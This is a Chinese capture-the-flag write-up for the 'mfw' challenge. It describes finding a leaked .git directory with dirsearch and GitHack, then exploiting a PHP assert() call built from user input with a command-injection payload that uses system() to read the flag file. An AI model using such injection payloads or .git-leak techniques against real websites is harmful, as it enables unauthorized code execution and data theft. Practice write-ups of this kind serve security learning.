【攻防世界】mfw(.git文件泄露)

简介: 【攻防世界】mfw(.git文件泄露)

首先进入题目环境,检查页面、页面源代码、以及URL:

发现页面无异常。

使用 dirsearch 扫描网站,检查是否存在可访问的文件或者文件泄露:

发现 可访问界面/templates/ 以及 .git文件泄露,故使用 GItHack 来查看泄露的 .git 文件:

首先查看flag.php文件,检查是否存在flag的信息:

发现没有关于 flag 的信息,于是改变思路,查看 index.php 中的源代码,检查有用信息:

在这里只截取源代码中的PHP代码演示,html不做演示
<?php
if (isset($_GET['page'])) {
  $page = $_GET['page'];
} else {
  $page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
<div class="container" style="margin-top: 50px">
      <?php
        require_once $file;
      ?>
      
</div>

观察到代码中存在 assert() 函数,猜测从 assert() 函数入手:

strops('$file', '..') === false:

判断变量 $file 中是否存在 '..'字样,主要目的为了防止用户进行 ../../etc/passwd 等指令来进行非法操作。

assert()函数:

在PHP中,assert()函数用于在代码执行过程中对一个表达式进行断言,以确保其为真。如果表达式返回false,则会抛出一个 AssertionError,并且脚本的执行将会中止。

语法 assert(参数一,参数二):

参数一:需要进行断言的表达式

参数二:(可选参数),用于在断言返回结果为 False 时输出错误信息。

构造payload:  ?page=123')%20or%20system("cat%20templates/flag.php");//

可以达到类似于SQL注入的闭合效果:

通过利用 // 将后方代码注释,最终有效的PHP语句只剩下 system("cat%20templates/flag.php");

提交payload,页面回显如下:

没有回显flag值,查看页面源代码:

发现flag,成功拿到flag值。

相关文章
|
18天前
|
存储 前端开发 开发工具
Git Hooks实战:提交前检查修改文件中是否包含调试代码
Git Hooks实战:提交前检查修改文件中是否包含调试代码
55 0
|
18天前
|
存储 开发工具 git
Pycharm git-创建本地仓库\创建分支\合并分支\回溯版本\加入git后文件颜色代表的含义
Pycharm git-创建本地仓库\创建分支\合并分支\回溯版本\加入git后文件颜色代表的含义
93 0
|
18天前
|
缓存 Shell 开发工具
git 基本 使用和.gitignore文件不生效
git 基本 使用和.gitignore文件不生效
28 0
|
11天前
|
开发工具 git
如何使git提交的时候忽略一些特殊文件?
如何使git提交的时候忽略一些特殊文件?
|
18天前
|
开发工具 git
【git】如何删除git远程仓库上的文件
【git】如何删除git远程仓库上的文件
17 1
|
18天前
|
安全 开发工具 git
关于/.git漏洞实现文件越权下载漏洞
该文描述了如何检测和利用网站的Git泄露。首先通过dirsearch扫描确认网站是否存在Git泄露,然后使用GitHack.py脚本(可在GitHub的lijiejie/GitHack项目找到)进行下载。操作步骤包括在git文件夹内创建lib子目录,放置脚本,并在git目录下运行Python命令。示例中展示了针对http://www.baidu.com/.git的尝试,结果返回404错误,而成功情况则会列出下载的文件列表。
|
18天前
|
开发工具 git
|
18天前
|
开发工具 git
|
18天前
|
存储 开发工具 git
Git 教程:解密 .gitignore 文件、合并分支、解决冲突、及 Git 帮助
如果你忘记了命令或命令的选项,你可以使用 Git 帮助。 在命令行中,有几种不同的使用帮助命令的方式: git command -help - 查看特定命令的所有可用选项 git help --all - 查看所有可能的命令 让我们看看不同的命令。
216 3